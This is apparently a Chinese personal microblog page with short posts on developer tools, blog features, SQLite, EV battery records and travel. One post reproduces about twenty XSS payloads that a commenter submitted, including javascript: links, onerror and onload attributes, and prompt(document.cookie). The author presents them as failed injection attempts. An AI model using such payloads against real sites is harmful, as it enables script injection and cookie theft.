碎碎念

陪她去流浪 新建

周报

任意域名解析:nip.io - wildcard DNS for any IP Address1

这个服务能把任何以 IP 地址为记录名的域名动态解析到对应的 IP 地址,不需要先添加记录。方便为任何 IP 地址设置域名。

内存结构展示2

8️⃣个字节的内存可以存放哪些类型的数据?下图是一些示例。对于刚接触计算机💻、正在了解内存的人来说非常有帮助。

Linux 二进制文件 ELF 格式介绍3

别的不说,我最讨厌 C 语言的一点就是:结构体成员名全部有相同的现在说来没任何用处的无聊前缀。

比如图中的:e_, p_, sh_。 C 语言以前确实是我的最喜欢的语言,后来喜欢 C++,现在是坚定的 Go 派。

域名 whois 查询服务

https://w.is/,网址很短,数据显示还不错。不过好像没有 API 服务。

存储设备及其延迟45

文章中用动画示例清晰地调解了常用读写设备及其延迟特性。

沁恒对于CH32V003升级的芯片CH570,带2.4G无线和蓝牙6

CH32V003是我玩过的第一款RISC-V芯片,之前做智能家居的时候用于替代STC51的。功能很现代,价格极其便宜。

本来还有点不舍51,用了CH32才发现那叫一个爽:比如,可以用上最先进的编译器,而不是51那各种又破又不规范的编译器套件。再也不想碰。甚至还写了一个CH32V003的模板项目。

新上线的这个CH570拥有了2.4G无线🛜功能,要是早点出来就好了。我就不用给 nRF24L01/Ci24R1 写驱动程序了(尽管看起来写得非常漂亮🤩)。

原来,微信视频号不仅没有外链,还有加密🔐

之前在日记2024-03-09.md里面就发现微信的视频号无法外部分享,今天看到别人也提到了这个问题。

视频号很早之前是有链接的,后来为防搬运做了DRM,隐藏链接外加内容加密,隐藏链接经历了几次调整后现在不让用默认浏览器打开,抓包拿到的stodownload.mp4已加密没法播放,废掉了大部分下载器和嗅探工具。不过可能出于性能考虑,视频号只加密了文件头,不像C某TV丧心病狂对ts流做了帧加密78

听起来加密方式很简单,大概和以前的迅雷看看一样9。

以及一个视频嗅探器:putyy/res-downloader: 视频号、小程序、抖音、快手、小红书、直播流、m3u8、酷狗、QQ音乐等常见网络资源下载!。

没有评论 页首

心血来潮,仅用数百行代码实现了我日常高频使用的“RSS 订阅功能1”,用于替换用了近🔟年之久的 Feedly。我的使用习惯很简单:看完最新文章,随手就关闭。从不体验其它功能。

为什么要自己实现?为了管理/自定义方便。

只需要像下面这样在 Markdown 里面一行一个添加订阅源即可自动渲染:

1
2
3
4
```rss
https://blog.twofei.com/rss
https://blog.mac.twofei.com/rss
```

“已读/未读”使用浏览器都有的 a:visited {} 来实现,且自动跨平台同步。

所以,我有时候纳闷,像 feedly 这种替代 Google Reader 的产品如何盈利,护城河在哪里?

一个错误的想法:由于博客现在支持用户系统了,于是想把订阅的每个网站的文章在我的系统内自动创建一篇对应的文章,对于实现来说,是一件非常简单又取巧的事。后来一想,这也太不尊重版权保护2了,遂放弃。

Feedly有哪些不好?

至少目前是我觉得我用得不太爽的地方:

  1. 代码不能滚动,被强制折行。 作为一个程序员,肯定关注了很多技术博客,难免会有代码在文章中,自动折行的代码看起来非常难受,更别说是小屏幕上了。
  2. 表格也没有边框,不能滚动。 复杂内容的表格显示简直一团糟。

用CSS很简单就能控制的设置,但是就是没有自定义。

没有评论 页首

放弃使用霞鹜文楷字体了

因为看起来特别舒服的原因使用了霞鹜文楷一年多?但是最近决定放弃,几个原因:

  1. 粗体显示很普通,不明显;
  2. 和英文字体显示起来不匀称;
  3. 字体太大,加载慢。
没有评论 页首

周报

Maple Mono 字体

新发布的一款看起来很漂亮的等宽字体,中英文严格 2:1. 其它特性:无限字重、智能连字等。

可惜我不怎么用斜体,它的斜体还是很好看的。

🔨 HammerSpoon

一款可以用 Lua 来编写的脚本引擎,用于控制 MacOS。

没有评论 页首

回到深圳了,看了下时光机,发现已经离开了近半年……

截屏2025-03-18 20.21.35.avif

没有评论 页首

以前上班时觉得 #GraphViz 好复杂、好麻烦,不想学。但是没想到被人编译成 #WASM 后,我 50 行代码1就集成到博客程序中了,看起来有必要学一下了。另外:#WASI 真是超级好的东西!

1
2
3
4
5
6
```dot
digraph {
  rankdir=LR;
  GraphViz -> 陪她去流浪;
}
```
GraphViz GraphViz 陪她去流浪 陪她去流浪 GraphViz->陪她去流浪
没有评论 页首

一直搞不清楚 “Restart” 和 “Reboot” 有什么区别,反正我就是 sudo reboot 一把梭:

┌─────────────────┤ Pending kernel upgrade ├──────────────────┐
│                                                             │
│ Newer kernel available                                      │
│                                                             │
│ The currently running kernel version is 5.15.0-89-generic   │
│ which is not the expected kernel version 5.15.0-134-generic.│
│                                                             │
│ Restarting the system to load the new kernel will not be    │
│ handled automatically, so you should consider rebooting.    │
│                                                             │
│                            <Ok>                             │
│                                                             │
└─────────────────────────────────────────────────────────────┘
┌──────────────┤ Outdated processor microcode ├───────────────┐
│                                                             │
│ Processor microcode update                                  │
│                                                             │
│ The currently running processor microcode revision is       │
│ 0x00f8 which is not the expected microcode revision 0x00fe. │
│                                                             │
│ Restarting the system to load the new processor microcode   │
│ will not be handled automatically, so you should consider   │
│ rebooting.                                                  │
│                                                             │
│                           <Ok>                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘
没有评论 页首

所以 JS 全称的标准写法应该是:JavaScript ? [狗头]

截屏2025-03-15 03.26.03.avif

没有评论 页首

零星几行代码给博客增加了 #Pikchr 绘图支持1。我是从 SQLite 的官方网站知道它的,觉得画得很漂亮。于是就增加了支持,不到 80 行代码。

box box (with rounded corners) circle ellipse oval (tall & thin) oval cylinder file dot lines arrows splines Examples Of Pikchr Objects box box (with rounded corners) circle ellipse oval (tall & thin) oval cylinder file dot lines arrows splines Examples Of Pikchr Objects
2025-3-19 00:16:06
没有评论 页首

一年两箱油终于准备出门了

远程启动记录

为了防止启动小电瓶亏电,不定期启动一下1。

title: 给车充电
dates:
  start: 2025-04-14
remind:
  every: [1w]

但是该车并不能看到电瓶的当前电量/电压🔋,只能看到动力电池⚡️电量。所以,只能盲目开个10分钟/20分钟空调,以期待其能给小电瓶充充电。

注意

前面有两次充电记录没记录。

注意

五月到七月之间爸爸回过家,手动充过电,暂时没记录。

📅日期动力电池电量🔋剩余续航里程🧭
2025-04-1492%388km
2025-04-2291%369km
2025-05-0188%372km
2025-05-1587%356km
2025-07-0297%407km
2025-07-0797%398km
2025-07-1494%395km
2025-08-0486%365km
2025-08-1185%357km
2025-08-2579%333km
2025-09-0177%325km
2025-09-1276%319km
2025-09-2374%310km
2025-10-1369%278km
2025-10-2765%274km
2025-11-0364%264km
2025-11-1160%254km
2025-11-1757%240km
2025-11-2454%227km
2025-12-0151%213km
2025-12-0848%201km
2025-12-1544%186km
2025-12-2239%163km
2026-01-0433%121km
2026-01-1327%113km
2026-01-2120%84km
2026-01-2613%55km

2026-02-01 找亲戚把电充满了。


  1. 讨厌😠比亚迪没有开放 API,要是能像特斯拉那样开放、然后有个 TeslaMate 多好,我就不用手动再整理、记录📝这些玩意儿了。再给我一次机会,我一定买特斯拉而不是比亚迪。 ^

没有评论 页首

摄影器材➕2,拍出好作品了嘛?还没有呢……

2025-4-26 08:49:06

开箱视频:

2条评论 页首

Cloudflare 果然是活菩萨,出口带宽完全免费🆓!

真零出口费用!这要放在国内,厂家要死光吧?

前 10GB 存储免费!

马上就动手用起来!

相关链接

2025-4-25 13:16:00

这玩意儿可用性也太低了😅😅😅,一会儿 500,一会儿 502. 还好不是主力。

1条评论 页首

爆改了一晚上代码,把博客的文章资源文件系统用 SQLite3 数据库实现了(即把原来在磁盘的文件丢进数据库里面了),几千个文件,数据库最终几百兆。没有缓存,感觉速度还行(并发读,极少写)。

虽然其它数据库几乎都不推荐把太大的内容丢字段里面,会比较严重地影响性能。但是 SQLite 从多方了解到是可以的且是官方比较推荐的做法(有很多相关的 API 可用,并且官方说一些基准测试下使用 SQLite 读写文件比直接操作文件系统还快 30%+,离谱)。

所以,我就动手重构了……

另外一个优点是,现在博客正常运行只需要3️⃣个文件了:

  1. 配置文件 内容极少,大部分可有可无
  2. 文章数据库 保存文章、评论、用户系统等主要内容
  3. 文件数据库 用于保存文章/评论的附件,比如图片等

这样一来维护和备份就更加方便了。

上线体验了几分钟,感觉没有明显的速度变化。

继续观察👀。

没有评论 页首

一年一度的大爷大妈热爱的环节又到了[doge]:

IMG_0058.avif

没有评论 页首

显然,我的手机还是熬不到今年新品发布会。

为了去迎接 npy 的到来,太开心,换干净的裤子👖,结果手机从裤兜倒出来砸在地上,一股子玻璃破碎的声音,可惜了我才换4️⃣个月的屏幕💔:

屏幕下面一部分几乎无法正常使用了,上面倒是完全无问题。这我倒是很佩服苹果手机的质量,坏成这样了还能使用。

在地图上随便找了一家县城的手机维修店,店主向供货商咨询了两分钟后给我开了两个价:

  1. 有 100/200 多的非官方屏
  2. 也有 400 多的官方拆解屏

为了保持手感,最终选择了官方拆解屏,虽然对于一个用了近7️⃣年的手机来说略贵,但还是忍痛换下了。不过,效果很好,旧屏很新,手感几乎无异。

心想,要是再坏,我就换 100 块的屏幕了,到时候坏了随便换。

没有评论 页首

关于日历、生日和纪念日的几个问题

如果今天是1月31号,约定一个月后的今天为期。那么一个月的今天该是几号呢?

狗屁通的回答:

如果今天是 1 月 31 号,一个月后的“今天”通常指 同一天的下一个月,但如果下个月没有这一天,就取该月的最后一天。
	•	2 月通常只有 28 天(闰年 29 天),所以 2 月没有 31 号。
	•	因此,一个月后的今天应该是 2 月的最后一天:
	•	平年(28 天)→ 2 月 28 日
	•	闰年(29 天)→ 2 月 29 日

例如:
	•	2025 年 1 月 31 日 → 2025 年 2 月 28 日(平年)
	•	2024 年 1 月 31 日 → 2024 年 2 月 29 日(闰年)

如果你是按照 30 天计算一个月,那会是 3 月 2 日,但通常自然语言的“一个月后”是按日历月计算。

如果某人生日是 2.29,他如何过生日?

狗屁通的回答:

如果某人的生日是 2 月 29 日,但遇到 平年(没有 2 月 29 日) 时,他通常有以下几种过生日的方式:

1. 2 月 28 日过生日(最常见)
	•	逻辑:2 月 29 日的“前一天”是 2 月 28 日,因此许多人选择在 2 月 28 日庆祝。
	•	例如:2001、2005、2023 年等平年,很多 2.29 的人会在 2.28 庆祝。

2. 3 月 1 日过生日
	•	逻辑:2 月 29 日的“次日”是 3 月 1 日,因此有些人选择这天庆祝。
	•	例如:如果出生证明上写的是“满 X 岁”,那通常到 3 月 1 日才真正“满年”。

3. 只有闰年才正式庆祝(4 年一次)
	•	逻辑:严格按照 2 月 29 日,只在闰年庆祝大生日,平年时就象征性地选一天或者干脆不办。
	•	例如:有人会在 2024 年大办生日,之后等到 2028 年再正式庆祝一次。

4. 根据心情选择
	•	一些人会根据情况随意选择 2.28 或 3.1,甚至直接“生日周”庆祝。
没有评论 页首

以前用的充电桩都是非常粗的那种,今天用的理想很细、但竟然也可以达到 60kW 的功率。看起来理想技术还是不错的。

2条评论 页首

一年半,4 万公里,多不多?

没有评论 页首

逗狗咬,讨人嫌!

没有评论 页首

在 #越南 买当地电话卡的时候,被告知其 SIM 卡不支持“个人热点(Hot Spot)”功能。似信非信买了一张,果然在 iPhone 上无法开启 #个人热点(表现为:根本没有这个功能/选项)。

我一度非常疑惑,从我了解的技术上来说,运营商提供的 SIM 卡没有任何能限制个人热点无法使用的可能,因为这个功能是纯手机网络栈(软件层面)提供的能力,与网络硬件、甚至是接入层(SIM)无任何关联。

我更愿意认为这是运营商的垄断行为迫使 iPhone 遵守合规而不允许使用,也即:纯政策行为。

查了一下 iPhone 官方的运营商网络支持情况,越南电信(Viettel)是支持个人热点的,只是“使用个人热点和解锁功能可能会产生额外费用或需要满足额外要求。请联系运营商以了解更多信息。”。

神奇的现象:我发现我自己没插越南手机卡的 iPhone 手机上也无法开启热点(无此选项)。

所以有没有大佬了解相关知识?


相关问题:

2条评论 页首

所以深圳的中国电信是彻底把 #GitHub 给屏蔽了吗?

我们每天都在什么破事儿上浪费生命?

没有评论 页首

游戏竞速毕竟原来是按帧数统计的

在油管上看到超级玛丽的世界竞速比赛,其中的时间统计让我有路疑惑:跑秒部分,累计到 59 就到下一秒了,不是正常的 99.

经下面的评论回复提醒才知道:那不是跑秒,而是帧数。

然后我一细想就明白了:对于这种实时的主机游戏来说,帧率一定是固定的。在 NTSC 制式下,为 60. 所以用 60 表示 1 秒远远比掐秒表⏱️来得更精准。

真是长见识了。

没有评论 页首

感谢测试XSS注入,让您失望了,好像一条都没有成功呢?

下次测试的时候不要再别人的评论下回复了……免得发过多干扰邮件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ echo 'select id,author,source from comments where id >= 1855' | sqlite3 taoblog/taoblog.db
1855|james|![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
1856|james|<img src="" onerror="alert('XSS') alt="Uh oh...">
1857|james|![Uh oh...]("onerror="alert('XSS'))
1858|james|[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
1859|james|![test]("onerror="alert('xss'))
1860|james|![test](https://xzfile.aliyuncs.com/media/upload/picture/20190302105527-a276e4a8-3c96-1.png"onload="alert('xss'))
1861|james|
[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))

1862|james|[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
1863|james|XSS](Javas&#99;ript:alert(1&#41;)
1864|james|[XSS](Javas&#99;ript:alert(1&#41;)
1865|james|[XSS](Javas%26%2399;ript:alert(1&#41;)
1866|james|![XSS'"`onerror=prompt(document.cookie)](x)\
1867|james|![XSS'" onerror="prompt(document.cookie)](x)\
1868|james|![XSS"  onerror="alert(document.cookie)](x)\
1869|james|![XSS' onload='alert(&apos;xss&apos;)](x)\
1870|james|![XSS” onload=“alert(&apos;xss&apos;)](x)\
1871|james|![XSS" onload="alert(&apos;xss&apos;)](x)\
1872|james|![XSS" onerror="alert(&apos;xss&apos;)](x)\
1873|james|![XSS\" onerror=\"alert(&apos;xss&apos;)](x)\
1874|james|[XSS](�javascript:alert(document.domain&#41;)

等等……怎么那么多中文引号……😅😅😅

  • 这篇文章在是柬埔寨发布的,有时区记录,但是时间显示有问题。本来应该是+7时区,但是显示成了+8时区。
没有评论 页首

看一篇关于 SQLite 的文章1时了解到 SQLite 的作者之一2生活东南亚,而我目前也正在东南亚,竟然莫名对东南亚的英语“South-East Asia”留意了一眼👀……等等,“South-East Asia”可以缩写成“SEA”,这不就是我前东家的母公司名字“Sea”3吗?其正好是主要服务于东南亚的一家企业,不知道是不是巧合。

没有评论 页首

虽然早就对 #泰国 的人妖有所耳闻,但是,当走进室内,几百人共同观看全裸着的身体“做一些爱做的事情”的时候,还是非常震撼的。我身后有一个中国大妈,好像还挺兴奋的。

无奈相机📷是不可能带进去的,只能在外面随便拍两张咯。

2条评论 页首

再次“小心地滑”——“Carefully Slide”

我真没想到会这么草台。

没有评论 页首

进入云南,一路上坡再下坡,车充了一路的电

就离谱……

没有评论 页首

又是一次差不多即将纵跨整个中国的自驾

上完最后一节课,立即出发。3500公里。

怎么还有阿坤:

没有评论 页首

以为快过年了 GitHub 看我辛苦了一年给我发福利来了❤️……噢,原来是全员福利🥵。

6条评论 页首